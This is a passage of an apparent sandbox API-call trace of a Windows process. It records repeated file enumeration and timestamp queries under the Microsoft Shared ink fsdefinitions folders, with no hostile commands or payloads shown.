[0070.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 102 [0071.000] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7ad3d20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7ad3d20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.000] AreFileApisANSI () returned 1 [0071.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aa5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0071.001] AreFileApisANSI () returned 1 [0071.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0071.001] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.001] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.001] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.001] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.001] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.001] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.002] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.002] CloseHandle (hObject=0x178) returned 1 [0071.002] AreFileApisANSI () returned 1 [0071.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0071.002] AreFileApisANSI () returned 1 [0071.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0071.003] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0071.003] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0071.003] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0071.003] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0071.003] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0071.003] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0071.003] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0071.003] CloseHandle (hObject=0x174) returned 1 [0071.003] AreFileApisANSI () returned 1 [0071.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 102 [0071.003] GetFileType (hFile=0x174) returned 0x1 [0071.005] AreFileApisANSI () returned 1 [0071.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 103 [0071.010] AreFileApisANSI () returned 1 [0071.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 102 [0071.014] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7af9e80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7af9e80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.014] AreFileApisANSI () returned 1 [0071.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aa5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0071.014] AreFileApisANSI () returned 1 [0071.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0071.014] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.014] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.014] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.014] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.014] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.014] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.015] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.015] CloseHandle (hObject=0x178) returned 1 [0071.015] AreFileApisANSI () returned 1 [0071.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aa5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0071.015] AreFileApisANSI () returned 1 [0071.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0071.016] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.016] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.016] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.016] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.016] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.016] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.016] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.016] CloseHandle (hObject=0x178) returned 1 [0071.016] AreFileApisANSI () returned 1 [0071.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aa5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0071.016] AreFileApisANSI () returned 1 [0071.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0071.016] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.016] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.016] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.016] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.017] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.017] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.017] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.017] CloseHandle (hObject=0x178) returned 1 [0071.017] AreFileApisANSI () returned 1 [0071.017] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0071.017] AreFileApisANSI () returned 1 [0071.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0071.018] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0071.018] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0071.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0071.018] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0071.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0071.018] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0071.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0071.018] CloseHandle (hObject=0x174) returned 1 [0071.018] AreFileApisANSI () returned 1 [0071.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 100 [0071.022] AreFileApisANSI () returned 1 [0071.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 101 [0071.024] AreFileApisANSI () returned 1 [0071.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 100 [0071.025] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7b1ffe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7b1ffe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.025] AreFileApisANSI () returned 1 [0071.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aa5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0071.026] AreFileApisANSI () returned 1 [0071.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0071.026] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.026] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.026] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.026] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.026] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.027] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.027] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.027] CloseHandle (hObject=0x178) returned 1 [0071.027] AreFileApisANSI () returned 1 [0071.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aa5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0071.027] AreFileApisANSI () returned 1 [0071.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0071.027] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.027] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.027] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.027] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.027] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.027] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.027] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.027] CloseHandle (hObject=0x178) returned 1 [0071.027] AreFileApisANSI () returned 1 [0071.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aa5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0071.028] AreFileApisANSI () returned 1 [0071.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0071.028] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.028] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.028] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.028] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.029] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.029] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.029] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.029] CloseHandle (hObject=0x178) returned 1 [0071.029] AreFileApisANSI () returned 1 [0071.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aa5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0071.029] AreFileApisANSI () returned 1 [0071.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0071.029] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.029] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.029] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.029] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.029] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.029] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.029] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.030] CloseHandle (hObject=0x178) returned 1 [0071.030] AreFileApisANSI () returned 1 [0071.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aa5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0071.030] AreFileApisANSI () returned 1 [0071.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0071.030] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.031] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.031] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.031] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.031] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.031] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.031] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.031] CloseHandle (hObject=0x178) returned 1 [0071.031] AreFileApisANSI () returned 1 [0071.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aa5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0071.031] AreFileApisANSI () returned 1 [0071.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0071.031] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.031] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.031] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.031] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.031] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.031] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.031] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.032] CloseHandle (hObject=0x178) returned 1 [0071.032] AreFileApisANSI () returned 1 [0071.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aa5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0071.032] AreFileApisANSI () returned 1 [0071.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0071.033] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.033] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.033] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.033] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.033] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.033] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.033] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.033] CloseHandle (hObject=0x178) returned 1 [0071.033] AreFileApisANSI () returned 1 [0071.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aa5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0071.033] AreFileApisANSI () returned 1 [0071.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0071.033] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.033] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.033] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.033] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.033] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.034] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.034] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.034] CloseHandle (hObject=0x178) returned 1 [0071.034] AreFileApisANSI () returned 1 [0071.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aa5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0071.034] AreFileApisANSI () returned 1 [0071.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0071.035] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.035] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.035] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.035] FileTimeToSystemTime (in: 